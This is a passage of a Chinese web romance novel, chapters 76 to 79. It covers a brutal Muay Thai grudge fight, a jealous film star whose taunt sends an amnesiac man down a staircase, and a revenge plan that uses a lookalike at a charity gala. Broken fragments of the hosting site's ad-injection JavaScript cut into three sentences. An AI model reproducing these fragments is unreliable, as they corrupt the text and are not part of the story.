而泰拳以独特的腿法和膝肘攻击闻名,强烈的实战性在国际格斗界都是得到了高度认可的。傅廷恩一记连环踢腿将李景麟逼得连连后退。 李景麟原本抱着点让步的心思,在傅廷恩猛烈的攻击下,燃起了较量的兴趣,他紧一紧护腕带,抬拳于面,绕场移动,寻找合适的进攻机会。 他练习泰拳多年,算是技术型选手,傅廷恩显然清楚这一点,与他对战更注重力量和压迫,而他的体能和耐力明显强于李景麟。 两人拳风对上,你来我往,傅廷恩一记直拳加勾拳的组合,将李景麟打得一个踉跄,旋即一记扫腿跟上,将他彻底打翻在地。 这不是比赛,没有停顿、休息,傅廷恩趁胜追击,李景麟十分狼狈的就地翻滚才躲开第二波攻击。 两年多的练习,让傅廷恩不止在力量上有突破,也很善于运用技巧组合和连招,通过连续的攻击不断打破对手的防守。 他一记精准的腿踢为接下来的膝击创造了机会。善于利用肘部和膝盖进行攻击是泰拳的特点,而这些攻击通常短促而致命,这也是一些地下拳击馆偶尔闹出人命的原因。 随着李景麟一口鲜血喷出,苏秘书的尖叫声响起。李景麟练习泰拳多年,也不乏对战,她从没见他吃过这么大亏。 两人不是单纯的切磋、对决,是完全的以命相搏。 可以说两人的搏斗跟两年多前来了个大反转。 在李景麟又一次口吐鲜血倒地不起之后,苏秘书和徐理冲上去拦在了他身前,“廷恩,”她喊着傅廷恩的名字,“你也该消气了。” 江永安也抱住了傅廷恩,“廷恩,够了。”能把平日里高高在上、不可一世的李景麟打得这么狼狈,伤得这么严重,总算是出了一口怨气。 但也只能出口气,说到底,曾闰成是自己跳下去的,并不是李景麟把他推下去的,难道还真能要了对方的命不成。 傅廷恩却已经打红了眼,江永安几乎拖不住他,他龇着牙凶狠的咆哮,“……你把闰成还给我……还给我……” 死命搂着他的江永安直觉得手臂上一阵湿润,却是傅廷恩的泪水混合着血水流到他胳膊上。 苏秘书看着对面青年痛苦咆哮的样子,内心闪过一丝愧疚。傅廷恩以为曾闰成已经死了,才会以命相搏,这证明她的谋划是成功的,可他哀伤的表情也在她原本冷硬的心里激起了涟漪,他们原本多么登对…… 只可惜,她出生就站在李家的阵营里,二十多年的培养与训练,让她的一切行为都只能以李家、李景麟为先。 希望时间可以抚平你的一切伤痛,她暗自祈祷。 李景麟躺在病床上,他手腕骨折,肋骨也裂了几根,傅廷恩猛烈的膝击,攻击力和穿透力都极强,让他的五脏六腑都受到了冲击。 他没有傅廷恩当初伤得重,只是因为救治比较及时。 可他稍微清醒点,就示意苏秘书帮他打开手机,对着手机的镜面看了看,“帮我把鼻孔里的淤血擦干净些。”他颇有些吃力的吩咐。 等视频接通,他已经换上一副笑脸,说话也是很正常的口吻,“闰成,生日快乐。看到蛋糕塔了吗?喜不喜欢?是你最喜欢的蜘蛛侠。” 对面的人显然看不出他的状态,他在掌声和音乐声的包裹里吹蜡烛、切蛋糕,然后对着视频小声的询问,“papa,你什么时候回来?” “马上,”李景麟挣扎着起身,又皱眉躺回去,“很快。”他咬着牙把痛呼咽下,“很快就回来陪你。” 苏秘书帮他拿着手机,实在不知该说什么才好。难怪都说,中年人的恋爱就像老房子着了火。 李景麟只在医院休养了三天,就在石膏绷带的缠绕下,急匆匆踏上了私人飞机。 苏秘书和徐理目送着飞机盘旋升空,直至变成一个小黑点,对视一眼,双双叹了口气,沉默不语的往回走。 ———————————————————————— 徐理这次有一个星期的假期,没有跟随专机回柏林。他开着车,慢悠悠穿过金城的晚高峰,回到自己的公寓。 门口的衣架上果然挂着帽子、口罩、薄款的风衣,出场费一分钟几万块的大明星,收到他的消息,第一时间就赶到了这间小公寓等着他。 可惜不是为了他,徐理自嘲的扯扯嘴角。 宋奕难得没喝酒,在捣鼓他的咖啡机,客厅里充溢着浓郁的咖啡香气。 徐理看着他的背影痴痴出神,他无数次的渴望过,下班回到家能有这样一个身影在等着他。 宋奕端着两杯咖啡转身,“杵在那干嘛?快过来,”他将一盏推到他的方向,“巴拿马的豆子,尝尝,口感就是要醇厚些。” 徐理走过去坐下,解了胸口的领带,丢到沙发上,把眼镜取下来,端起咖啡抿一口,“嗯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,不错。” “你怎么这么久才回一趟金城?很忙吗?”宋奕完全顾不得寒暄,开口直接打探。 徐理已经放弃挣扎,老实回答,“嗯,老板很少去公司,我们是要忙不少。”老板偷懒,总是遥控指挥,底下人的人忙翻天。 宋奕不解,“景麟……他连柏林分公司也很少去吗?” 徐理点点头,“他每天都在古堡陪曾老师,苏秘书说两人几乎是寸步不离。”他瞄一眼宋奕的神色。 宋奕俊秀的长眉紧紧的蹙在一起,表情有些扭曲,“那傻子全好了?” “嗯,差不多。”徐理点点头,他长期在柏林分公司和奔龙堡之间奔忙,见到曾闰成的次数比苏秘书更多,各种细枝末节也了解得更全面。 “他已经不记得之前的那个男人了,他现在眼里心里都只有老板,他们很恩爱,老板简直把他宠到天上去。”他看着宋奕难看的脸色,却没有停止诉说,“分公司的员工都在说,老板陷入了热恋中。” 毕竟李景麟即使去了公司,也要打好几个电话,去询问他的小心肝吃饭了没,在做什么,开不开心。贴身跟随的人怎么可能不清楚。 “哼!不记得?”宋奕嘲讽的冷笑起来,“真的假的?我看是装的,那位曾老师脚踩两只船一向玩得很溜。” 没有一直陪伴,看着变化产生的人,确实很难理解这个事情的发展和走向。 徐理叹口气,“不管他是不是装的,老板很爱他是真的。” 他看着宋奕变白的面色,端起咖啡啜饮一口,苦涩在心头蔓延。 “放下吧,宋奕,感情的事情不能强求。”他移到对面,伸手想搂抱他,“我们不是老板,没有强求的能力。看开些,及时行乐不好吗?” 他一只手轻抬起那张俊美的面庞,两三个月没见了,他其实很想他。 宋奕却“啧”的一声将他推开了,厌烦的情绪毫不掩饰,“你们这次回来是干什么?怎么才待两天又走了?” 李景麟回到金城没有跟宋奕见面,他试着联系对方也没有任何回复,甚至没有告诉他他回金城了。如果不是徐理,他根本不知道他的行踪。 李景麟和傅廷恩的决斗,徐理自然不能说。他搓了搓指尖,“我也不知道。”声音里透着淡漠。 宋奕回身搂住他肩膀,“我什么时候可以去奔龙堡?你帮我跟景麟说说。” 他发过几次信息给李景麟,想去奔龙堡度假,无一例外的没有回复。 “你不要去自讨没趣。”徐理低垂着眼睛,“相信我,那不会是你想看到的场景。” 宋奕却不信邪,他跟了李景麟十几年,不是十几天,中间有两年,两人也算打得火热,隔三岔五的约饭约别的。 他拍戏的间隙都要挤出时间来约会,有两次李景麟甚至飞到剧组探班,虽然只是在酒店的大床上等他,等他收了工回来,两人迫不及待的胡天胡地。 他坚信李景麟心里是有他一席之地的。 很快,他迎来了一个机会。六月底,热心群众举报某小区某室有明星聚众吸毒,金城警方快速出动,当场抓获了一批瘾君子。 明星没有,但宋奕的经纪人牵涉其中,宋奕本人不在现场,但这套房子却是在他名下。他以“容留吸毒”的罪名被请去调查,一时间网络炸开了锅,他被推到风口浪尖。 虽然律师团队和公关团队及时下场,多项证据表明,这套房子虽然在他名下,但他已多年没有居住过,一直是给经纪人及其团队使用,罪名是不成立,但对他的形象也造成了极大的负面影响,他只能暂停工作,躲避风头。 在这种情况下,李景麟终于答应了他到奔龙堡暂住的请求。 77.第 77 章 前两年君临集团召开欧洲分公司年会,是很好的拓展人脉的场合,宋奕全程都有出席,来过几次奔龙堡,在二楼有一间专属的客房。 他对着墙上镶嵌的欧式复古铜镜,仔细的审视着全身上下,确保每一缕发丝都服帖,每一片衣角都齐整。司机将他送入古堡,仆从引他到二楼的房间,说老板正忙,晚餐的时候再见。 他凝视着镜中的身影,六月底的德国虽然进入了夏季,温度还是不算高,早晚得穿两件。 他上身一件衬衫,小外套是他代言的一个奢牌的当季新款,两肩缀了颗粒状水晶,不是正式的礼服,但也衬得他有款有型。 按年龄他比曾闰成要大三岁,不过保养得宜,看上去只有二十八九的年纪,每年在这张脸上没少花钱。 他看着镜中依然俊俏的容颜,深感自信。单论长相,宋奕确实不比曾闰成差,能扛得住各类高清摄像头的脸,绝对是碾压普通人的存在。 两人气质迥异,宋奕五官更精致,身形更瘦削,有种精心打造的美感。曾闰成则有如三月春风年末冬雪,一眼就知道他的美好却没有什么具体的轮廓。 明星为了上镜好看,当然是很注重身材保养的,这晚餐吃不吃的其实无所谓,但是大半年没见李景麟了,当然要精心打扮闪亮登场。 他迈着雍容的步伐走下楼梯,仆从引着他穿过长长的走廊,踏进开阔的餐厅。 繁复的水晶灯下,法式长餐桌旁,已经一站一坐着两抹身影。 前两年来奔龙堡,宋奕都没有见到曾闰成,大概是李景麟将他藏起来了。年会人多眼杂,他不可能让他出现在公众的眼皮底下。 隔了两年多,只一个背影,宋奕便认出了他。穿一件粉色的毛衣,还是那样单薄的身形,背对着他,颇有些不雅的坐在餐桌上,两条腿晃荡着,两手撑在桌面上,不知道正跟李景麟说什么,而面向门口站着的李景麟脸上是很纯粹的笑容。 宋奕轻咳一声,李景麟抬头,看见他进来,招了招手,“过来,Liam,休息好了吗?” 宋奕点点头,走过去,在李景麟的右手边落座,一双明亮的眼眸在他脸上扫了扫,“景麟,你是不是瘦了?”是十分关切的口吻。 李景麟伤愈刚好,又到夏季,确实瘦了些。 宋奕转过脸,盯一眼曾闰成,这个颜色的毛衣穿在他身上,丝毫不女气,反而衬得他唇红齿白,肌肤细腻。 宋奕垂了垂嘴角,主动跟曾闰成打招呼,“曾老师,还记得我吗?”如果记得的话,应该是记得那一巴掌吧,宋奕勾起一抹玩味的笑意。 李景麟转头向曾闰成道,“闰成,他是宋奕,Liam。你之前……认识的人。” 曾闰成已经从餐桌坐到餐椅上,他现在对于陌生人没有抗拒感,但最多点点头,权当打招呼,不像正常人礼数周到。 李景麟丢给宋奕一个歉意的眼神,将新上的鹅肝推到他面前,“你已经很瘦了,晚餐完全可以吃一点。” 宋奕颇有些受宠若惊,李景麟很少用这种类似关切的口吻跟他说话,他不知道,恋爱会使人变得柔软,只以为李景麟的心里果然是有他的。 他用刀叉将一块鹅肝移到盘中,不无得意的睃了曾闰成一眼,后者却是垂着手一动不动的盯着眼前的餐盘。 这就醋上了?他暗忖,最好醋劲再大一些,李景麟是很讨厌那些争风吃醋的戏码的。 却听李景麟叹了口气,“叫你不要骑那么久的马不听,手臂又没力气了?” 他将自己餐盘里的牛排、龙虾一一切碎,连盘子一块移到曾闰成眼皮底下,用叉子叉了一块递到他嘴边,“张嘴。”是无奈又宠溺的口吻。 宋奕简直不敢相信自己的眼睛,如果不是跟随李景麟多年,很了解他,一定会以为他是故意在表演,但喂的很自然,张嘴吃的也很自然,显然是两人的日常操作。一丝阴霾漫上了他的眼底。 当然,宋奕并不会就此偃旗息鼓,一顿饭吃到尾声,他低声道,“景麟,晚点来我房间好吗?最近这事想跟你聊一聊。” 他用烦恼又带了点无助的眼神看着他,李景麟瞄他一眼,又看了看两腮鼓鼓兀自嚼个不停的曾闰成,“明天书房谈吧。一点小事,不用太担心。” 再好吃的菜,天天吃就不会腻么?宋奕不由得抿了抿唇,放下了手里的刀叉。 第二天,他仍然盛装打扮,去书房找李景麟。 李景麟亲自点了根雪茄移到他唇边,又吩咐佣人上咖啡,“这点事就让你急成这样?网上这波节奏带不了多久。” 他慢条斯理的抽着雪茄安抚他,“换个经纪人吧,这阵子不要在任何公开场合发言,娱乐圈还缺话题吗?回头把新戏推上星,自然就风平浪静了。” 宋奕其实也没有特别为这事着急,他在圈里混了这么多年,什么风浪没见过,这事还卡不住他脖子。 只是想找个理由来亲近一下罢了,从前,李景麟也有过为他收拾烂摊子的时候。 那时候他刚走红,为了抢戏,在片场跟一个流量小生大打出手,视频都被人拍了,可这事还是被李景麟压下了。 后来红了,跟圈子里一个好男色的导演走得近了些,被狗仔错位,拍了些似是而非的照片,也是李景麟帮他摆平的。 他帮过他不少次,即使有利益纠葛,他就不信没一点感情的因素。 宋奕放下手中的咖啡,起身走到书桌前,翘臀靠着桌面,一双长腿交叠,眼睛在那张英俊又凌厉的面庞上勾缠,“景麟,”他伸出手摩挲着他的手臂,蜿蜒而上,“我想你了……”他把华丽的声线压得低低的。 李景麟却向后一靠,躲开了他的触碰,丹凤眼看着他的面庞,低声笑道,“宋奕,如果你是想来这边休息几天,我很欢迎,但是……” 他话还没说完,门口传来一阵由远及近的脚步声,颇为快速的就到了门边,厚重的木门“腾”的一下就被推开,曾闰成兴奋又带着点惊恐的声音传来,“papa,艾丽达要生小马了……” 宋奕从来没有在李景麟脸上看到过如此慌乱的神情,跟演一部荒诞默剧一般,他迅速的“噌”的一下,将转椅移开几尺远,直接靠到了墙壁上,在曾闰成推门的那一刹那,他已经站起,走过去牵起他的手,“是吗?我跟你一块去看看。” 宋奕愣愣看着两人离去的背影,李景麟甚至没有回头看他一眼。他是担心他误会吗?担心一个傻子会误会! 恍若一桶冰雪兜头浇下,他第一次深刻的意识到,李景麟变了,他不再是那个万花丛中过片叶不沾身的李景麟了,他不再是那个以风流自夸,有了新欢也不忘旧爱的李景麟了,他不再……属于他了。 晚间的凉风吹遍奔龙堡的各个角落,这是德国一年中最舒服的季节,白天有艳阳,夜晚却很凉爽。 银盘似的圆月,悬挂在摩泽森林的上空,月光有如实质,化作万千银粉,给花园里的花草树木都镀上了一层朦胧的光晕,像极了一个美丽的童话世界。 宋奕信步游缰,在花园里闲散。远远传来的乐曲声,吸引他不断靠近。却在两个穿黑西服的保镖阻拦下,停驻了脚步。“Sir,don’t disturb.”其中一个黑西装低声道。 阻拦只是让人无法靠近而已,他的眼睛视力一向很好,耳朵也没有聋。湛蓝的天幕下,柔和的月色中,悠扬的乐曲包裹着两抹起舞的身影。 那是一首英文老歌,并不是专门的舞曲,《Five Hundred Miles》,温暖的旋律在月光下的花园中萦绕: If you missed the train I’m on, You will know that I am gone, You can hear the whistle blow a hundred miles, A hundred miles a hundred miles…… 李景麟宽阔的肩膀搂着一抹清瘦的身影,他醇厚的声音饱含愉悦,被夜风隐约的送到耳边,“……对了,你的右脚随我的左脚旋转……对……闰成你以前跳舞跳得很好……哎,怎么又踩我脚……故意的吧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小坏蛋……” 曾闰成“哈哈”的笑声是那样刺耳,宋奕攥紧了拳头,嫉恨在他的双眼中氤氲,他或许从未拥有过,这个傻子更不配拥有! 宋奕一直在寻找单独和曾闰成相处的时机,但诚如徐理所说,这两人几乎形影不离。 他们无时无刻不在腻歪,端着咖啡在花园里喝着喝着就能亲到一起去,骑完马回来,靠在马身上就能来个热吻,宋奕每一次窥探到都觉得牙酸头疼心剧痛。 不过李景麟每个星期最少也要去一趟柏林分公司,宋奕站在二楼的窗口看着他钻入私人飞机,还在舱门处依依不舍的挥挥手,曾闰成走开些,看着飞机盘旋升空直至消失不见,才两只手插在裤口袋里,悠闲的往回走。 他整理了一下衣襟,缓步下楼,他特意放缓了步伐,在木质楼梯的拐弯处两人狭路相逢。 曾闰成仍是点点头,宋奕在奔龙堡待了快一个星期了,他一句话也没有跟他说过。他不认为是有的人天生就不对眼,只觉得曾闰成是装失忆,内心其实记恨着他。 “曾老师,”擦肩而过的一瞬间,宋奕低声道,“听说你失忆了?你不会连傅廷恩也忘了吧?他要知道你跟景麟这么好,啧啧啧……估计心都要碎掉。” 曾闰成停下脚步,转身看着宋奕,目光顷刻间凝住了一般,“你说谁?你刚刚说……谁?” 宋奕扯了扯嘴角,“傅—廷—恩呀,”他一字一顿的重复,“你们之前不是挺恩爱的嘛,又是情侣衫又是非洲大草原,又是酒店又是海滩的……”他也是那摞照片的目睹者之一,好听的声线将那些过往的片段宣读得抑扬顿挫。 曾闰成皱紧眉头,“傅—廷恩?廷恩……廷恩……”他嘴里喃喃的念叨着,双手抱住了头。 宋奕完全没有料到他会有这么大的反应,因此根本来不及伸手,眼睁睁看着曾闰成抱着头,神情慌乱,几乎是笔直的向后倒,他是站在第一层的最后一级楼梯上,“乒乒乓乓”一阵剧烈的碰撞滚动声夹杂着女佣的尖叫,在空气中震荡…… ———————————————————————— 傅廷恩和李景麟一场决斗,也并不是毫发无伤,他不想家里担心,先在酒店住了两天,才回傅宅。 但是傅太看见他嘴角的肿胀,还是担忧的骂他,“这么大人了,难道还跟人去打架吗?你以为还是高中生……”她及时收住话头,却还是看到儿子脸上一闪而过的阴霾,只能无声的叹气。 她从大儿子嘴里知道,曾闰成曾是傅廷恩的高中老师,那时倒也没觉得膈应,感情嘛只要真挚,身份家世倒也不要紧。小龙女还嫁给了杨过呢,傅太八点档的电视剧没少看。 可谁想到两人没好多久就分手了呢,看儿子这样子,情伤未愈,两年多了还没放下,一看就是被甩的那一个。 哎,那孩子看着老实眼光也忒高,连她们家廷恩都留不住,傅太一边感叹一边讪讪的开口,“廷恩,我昨天听你爸念叨,说你大伯想调你回金城来,公司的事我也不懂,你书房问你爸去。” 傅明章倒是言简意赅,“澳洲地大但是人少,市场一眼看得到。你们储能产业园做得不错,”他顺带夸了夸江家的小伙子,“江家那盐碱地里难得长了颗好苗子,你哥都跟我说了,也跟集团汇报了,你要是回来,你大伯能给你个副总的位子,他这也是看自家的指望不上了……哼哼,你大伯母那溺爱劲能教出什么好孩子,还不得指望我们家两小子……” 傅廷恩对于回金城任职没有太大的异议,毕竟自从上次冲浪事件之后,他跟王萱荑提了分手,对方一直不肯接受,不断的围追堵截,非让他给个说法。 好人卡发了,半真半假的原因也透露了,王萱荑就是不肯死心,他只好设计让她将他和江永安堵到了床上,“对不起,我还是喜欢男生多一点。” 他低头道歉,眼角的余光瞄到狠狠甩过来的一巴掌,没有躲,咬牙受了,骗了人家姑娘感情,挨个巴掌是应该的。 可问题是澳洲的华人圈子只有这么大,抬头不见低头见,姑娘总用幽怨的眼光看着他,回金城避一避也好。 78.第 78 章 萨米教授带领他的团队,在第一时间赶到了奔龙堡,仔细检查曾闰成的情况后,语气坚决的表示,“这个二次开颅是非开不可了。” 曾闰成从十几级高的楼梯上滚落,多亏古堡的装修以纯实木为主,比起大理石地面,多少有所缓冲。 尽管如此,他也摔折了一条手臂,摔断了两根肋骨,尤其头部再度受到撞击,陷入了昏迷状态,两天两夜,一直没有清醒。 宋奕是真没有想到那段话那个名字对曾闰成有如此大的冲击力,他虽然背地里叫人家“小傻子”,但潜意识里又觉得对方是在装腔作势。 直到他从十几级高的台阶上直挺挺的往后倒,宋奕才意识到他是真的失忆了,多少有点乱了方寸,在李景麟的逼问下,不停辩解,“我真的没有推他,真的没有,我只是……” “只是什么?”李景麟冰冷的眼眸攫住了他,眼底血丝弥漫,他已经两夜没有合眼。看着私人医生处理完外伤,又等到萨米团队到来,检查完表示没有生命危险,才稍微松口气,转而询问事情发生的经过。 “我……”宋奕嗫嚅着,“我问他还记不记得……傅廷恩……”尽管他把三个字说得小小声,却还是换来了李景麟盛怒之下的一巴掌。 “啪”的一声脆响,宋奕被扇得退开几步远,半边脸麻木得没有任何知觉,耳朵里嗡嗡作响。李景麟盯着他的脸,说了一句什么,他完全没有听见。 直到嗡声逐渐停止,宋奕才擦了擦嘴角,抬起头,“好,这是你第二次为了他打我,”他其实也有一双含情目,此刻一动不动的凝视在李景麟面庞上,“十几年!我爱了你十几年你不是不知道!从今往后,”泪水使这双眼睛变得晶莹剔透,“我不会再犯贱了……” 宋奕连夜离开了奔龙堡,李景麟没有阻拦也没有挽留,却点了徐理送他去机场。 “老板果然心里门清。”徐理手握着方向盘,叹了口气,看着宋奕肿胀的半边脸,一丝心疼弥漫上心头。 可他也知道,这事不能完全怪老板,所有了解内情的人谁不知道这个名字是犯忌讳的呢?就连宋奕自己心里其实也很清楚,不然不会拿它来刺激曾闰成。 他耐心的劝说,“这是他们之间的事,我们不要掺和……” “哼,我们?谁跟你我们!”宋奕冷笑,“别以为我跟李景麟闹掰了,就轮到你捡漏了!你这样的还不在我眼里!”他只想把受到的屈辱和伤害发泄出去,不会去管言语是否伤人。 徐理面沉如水,不再说话,安心开车,两束车灯在夜色里悬浮,山野次第后退,如狰狞怪兽被远远抛在身后。 ———————————————————————— 傅廷恩调回金城后,江永安仍留在悉尼。最近一个澳洲土著在追他,他犹豫着要不要跟傅廷恩一块回金城,傅廷恩劝他,“永安,Johnson各方面条件都不错。你应该试着接触一下,而且产业园也需要你坐镇。” 江永安抿唇看着他,“廷恩,我们……”其实早已知道答案,他还是问出了口,“是不是永远没可能?” “我们是永远的朋友,”傅廷恩握着他的手,“最好的朋友。” 两人一在金城一在悉尼,仍和在伦敦时一样,偶尔电话或者视频,只是交流的内容从之前的学业、party邀约,变成了汇报彼此在事业和感情上的进展。 “Johnson确实不错,多亏没有跟着你回金城,不然错过宝,”江永安在电话那头絮絮叨叨,“你妈最近没跟你介绍对象?” 傅太如愿盼到儿子回到身边,又开始操心起他的感情生活来。开始还试着给他介绍女孩子,看他完全不感冒,竟然还琢磨着要给他介绍世交家里同样出柜的男生。 这几年社会风气又相对开放了些,家有男同不再是特别丢脸的事,世家之间虽然不会拿到台面上说,但私底下也没有对孩子的性向特别管束,主要孩子大了各有主见,想管也管不了。 就像傅太说的,“我不管你喜欢男的还是女的,正经跟人交往,有人陪着你就好。酒吧夜总会那种场所还是要尽量少去……”言下之意,只要是正经谈恋爱都能接受,花天酒地胡作非为就不行。 “妈,我去夜总会是正经谈事,跟肖震他们好久没见了,总要联络一下感情。”估计是司机嘴巴不严实,傅廷恩只去了两次“天宫”就被傅太发现了,变着法的提醒他。 他在电话里跟江永安吐槽这件事情,“不过,永安,”他将手机放在支架上,打开外音,“我在天宫发现一个长得特别像……闰成的人,”说的那个名字,傅廷恩会不自觉的低声,“真的很像,尤其是一双眼睛……” “你还跑‘天宫’去了?一回金城就去逍遥快活了是吧?”天宫会所作为金城数一数二的销金窟,名气不小。江永安把偏离的重点拉回来,“有多像?” “至少有六七分,”傅廷恩脑海里闪过卢可那双潋滟的桃花眼,“闰成从来没有见过他的父亲,像到这个程度,估计有血缘方面的因素。”他叹了口气,“开始肖震说有个这么像的人,我还不信。”见了才知道肖震没有夸张。 “他在天宫……上班?” “嗯,我探过他的底,不缺钱,就想要一个出头的机会,”傅廷恩起身倒了一杯葡萄酒,浅浅的啜饮,“我会带他参加月底的慈善晚宴。” “你带他参加?”江永安夸张的惊呼,“月底这场是在‘瑰丽’举办吧?按惯例,金城有头有脸的世家都会参加。” 每年年末的这场慈善晚宴,是众多慈善晚宴中最高端的局,堪比亚洲版的“Met Gala”,是明星们争奇斗艳的场所,也是富豪圈层回馈社会的契机,更是各家财力的比拼平台。 “嗯,李家肯定会出席,即使李景麟不现身,谢复和苏秘书是肯定会来的。”傅廷恩将杯中的酒饮尽,“永安,你要回来帮我。” 江永安不太明白,“既然李景麟都不一定会出席,你带这个人去参加晚宴……” “苏秘书会出席就行了。”觥筹交错的场合,总能有些意想不到的收获。傅廷恩在澳洲混了这几年交际圈,已经颇有心得。 李景麟不会以为挨了一顿揍,害死闰成这事就能这么算了吧?傅廷恩不会忘记自己的誓言,“不死不休”。而千里之堤,溃于蚁穴。 临近和傅廷恩约定的期限,卢可开始感到紧张。上次之后,傅廷恩再也没有来过天宫会所。他试探着问过肖魔王两回,魔王嘴巴严实,半点有用的消息也没有打探到。 他有点担心傅廷恩是否记得这个承诺,毕竟那天都喝了酒。但又觉得他们这种人物一向言出必行,没有逗他玩的必要。日期越临近,他越是兴奋紧张,每天都悉心打扮,只等召唤。 就在他灰心丧气,疑心傅廷恩已经忘了这事时,他接到了电话,而且是傅廷恩亲自打来,“车在楼下,你直接下来。” “啊?”卢可有些手忙脚乱,“我还没有化妆……” “不用了,你带上人和手机就行了。”傅廷恩的声音颇有点不耐烦。 卢可只好听吩咐,衣服也没换,袖着手机就下去了。 白天里看傅总,比夜晚还要帅气两个度,360度无死角的脸庞,翘着二郎腿,倚窗而坐,标准的矜贵总裁范。 看到他上车,昳丽深邃的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眉眼睁开,在他面上打了个转,吩咐司机,“去TCG。” 卢可白净的面庞上不禁泛起惊喜的笑意,虽然猜到傅总要带他去做造型,但没想到是金城最富盛名的造型工作室,连明星都要排队预约。 尤其是一看主理师竟然是爱德华,经常出现在各类时尚报刊杂志的人物,满身奢牌,打扮得十分时髦。 爱德华显然和傅廷恩挺熟,没有叫他英文名字,反而是亲昵的喊他,“廷恩,这是你最近交的小男朋友?” “不是,”傅廷恩在沙发前坐下,“永安还没来吗?” “堵车,今晚的朱雀大街估计得排长队,飞都飞不过去,你早点来是最明智的。”爱德华扶卢可在整面墙的水晶玻璃镜前坐下,“这模样长得真好看,都没什么发挥的空间。” 他调笑的摸了摸卢可的发尾,说话的神情和脸上的笑容让Gay达灵敏的卢可一眼辨认出他的属性。 江永安一直等到卢可造型完毕才匆匆的推门进来,一叠声的嚷嚷,“MD,十二车道都不够,在澳洲混惯了真是不习惯金城这交通,屁大点事就开始堵,一年三百天在堵……” 他瞄一眼刚从镜前起身的身影,退开足有三尺远,“靠!这么像!”他转向傅廷恩,“你如果没提前跟我说,我真以为是闰成……”他及时止住话头,掩饰尴尬般的向卢可露出个笑脸,“怎么称呼?” “Lucas卢可,请多多关照。”卢可故作成熟的伸出手去。 江永安牵他的手摇了摇,“江永安。呃,那个,你有兄弟姐妹吗?” 卢可摇摇头,“家里就我一个。”他这话答得巧妙,他爸多少顶着个“煤老板”的名头,外面有没有他就不清楚了。 闰成……他暗地里咀嚼了一下这两个字。看来他之所以博得这两位阔少的关注就是因为这个名字了。 他对镜假作端详自己的着装,实则从镜面里不动声色观察着傅廷恩和江永安。 这两位是典型的高富帅,放在人堆里都是耀眼夺目的存在。同样高挑挺拔的身段、帅气的面孔,但江永安长相偏阴柔,而且他明显很听从傅廷恩的安排。 傅廷恩挑了一件酒红色丝绒外套,先让江永安试了试,却转身穿在了自己身上。这么扎眼的礼服确实要傅廷恩那张深邃大气的脸才压得住。 他又指了一件黑色西装示意江永安换上,平平无奇,江永安的样子看上去也不太满意,“还不如穿我自己的。” 傅廷恩却点点头,“就它了。” “还大了一号……”江永安不满的嘟囔。 “谁让你最近减肥,”傅廷恩转头吩咐爱德华,“把他头发弄成跟我差不多的卷发。” “多亏我最近忙,都没时间上发廊。”江永安很听话的穿了那件大了一码的黑西服,坐在镜前的扶手椅上。 两人身形相似,发型还打理得相差不远,单看背影,颇有点孪生兄弟一般。 傅廷恩很满意这个效果,他双手插兜,示意江永安和卢可跟他走,卢可跟在身后,暗戳戳觉得他有点电影里□□大哥出场的派头。 但是等到了晚宴地点,“大哥”拍了拍卢可的肩膀,“如果有一个女人来加你微信,不要拒绝。但也不要跟她说太多。记住,”他一只手抬起他的面庞,“你这张脸就是饵,会有鱼上钩的。但你别太主动,别把鱼吓跑了。” 他示意卢可和江永安先下车,“我会去找你的。”他再次上下扫视了卢可一眼,目光里带了点说不清道不明的意味,卢可清楚,他大概是又透过他,看到了那个叫“闰成”的男人。 “去吧。”他最终还是摆了摆手,转过了头。 79.第 79 章 江永安领着卢可先下车,“来,我带你走走红毯。”卢可看着场外的长枪短炮、拥挤的人群以及喧嚣的呐喊,颇有点手足无措。 这种场合,以往他最多是隔离护栏旁挤着的一员,用高清的镜头拍一拍感兴趣的明星,现在却走到了红毯上。 “不用紧张。”江永安一手擦兜和他并肩入场,接过礼仪小姐递过来的派克笔,在巨大的白板上龙飞凤舞的签了个名,“要不要签?”他递笔给卢可,卢可赶忙摇手。 醇厚的男中音字正腔圆的报幕:“欢迎江氏集团行政副总裁江永安先生及朋友卢可先生,感谢江氏集团名下樽欢酒庄对本场晚宴酒水的赞助。” 卢可这才对第一次见面的江永安有所了解,看不出这么年纪轻轻就已经担任副总裁的职位了。实际上富二代三代在家族企业挂个副职并不少见,但有没有实权就看个人能力了。 豪华的大厅里,带着白手套的侍从正在有序的上菜,江永安领着他走到落地窗前,窗前的画架上展示着一副油画作品,卢可好奇的打量着,江永安瞄了一眼,对卢可笑道,“要不要讨论一下这副后现代主义的佳作?” 卢可赶紧走开几步,那麻绳一样乱扭的线条,昏暗污脏的色彩,他可说不出什么子丑寅卯。 江永安哈哈的笑,“这画跟这局其实是差不多的,看着高大上,实际勾心斗角乱七八糟,你不用太紧张。” 卢可听懂他的宽慰,对这个眉目俊秀的青年很有好感,“江总……” “叫我永安就好。” “呃,永安,”卢可从善如流的换了称呼。论人际交往,江永安绝对算个中高手,简短几句交谈就能让人放下防备。 人潮汹涌着进场,江永安带着他走向前排的圆桌,是很靠中心的位置。卢可看到桌上放着名牌,傅廷恩赫然已经在座,看样子他是不喜欢走红毯,直接进的会场。 他正跟旁边桌一位西装革履年纪相仿的男士交谈,卢可没有出声打扰,悄无声息的在他对面坐下。 他抬起头,环视四周,虽然混迹欢场,又天性爱玩,大大小小的场合也混进去不少次,但他到底只有21岁,这种明星齐聚、富豪荟萃的大场面还真是第一次见识。 他佯装自如的,拿起桌上的酒杯,轻啜一口。 “口感怎么样?”江永安问他。 “啊,挺好的。”卢可这才想起,这桌上的酒都是这位江少爷家赞助的。 江永安轻笑,“这款红酒跟你面前A5级的和牛是绝配,你尝尝。”他十分妥帖的关照着他,让卢可原本有些紧张的心态逐渐放松了。 “呃,永安……怎么这么多明星啊?”卢可随便扫两眼,已经看到不少熟悉的面孔。女明星是这种晚会的焦点,她们身穿高定礼服,争奇斗艳,在摄影机镁光灯的簇拥下,走过红毯踏入会场。 “做慈善,不管对于富豪还是明星,都是必修课。明星提升自我形象,富豪提升家族和企业的品牌文化,都是增强影响力的投资方式之一。当然也有跟你一样,”江永安跟他碰碰杯,“来找机会的。这可是需要真金白银掏钱的场合,各界大佬齐聚,指不定就有馅饼从天而降。” 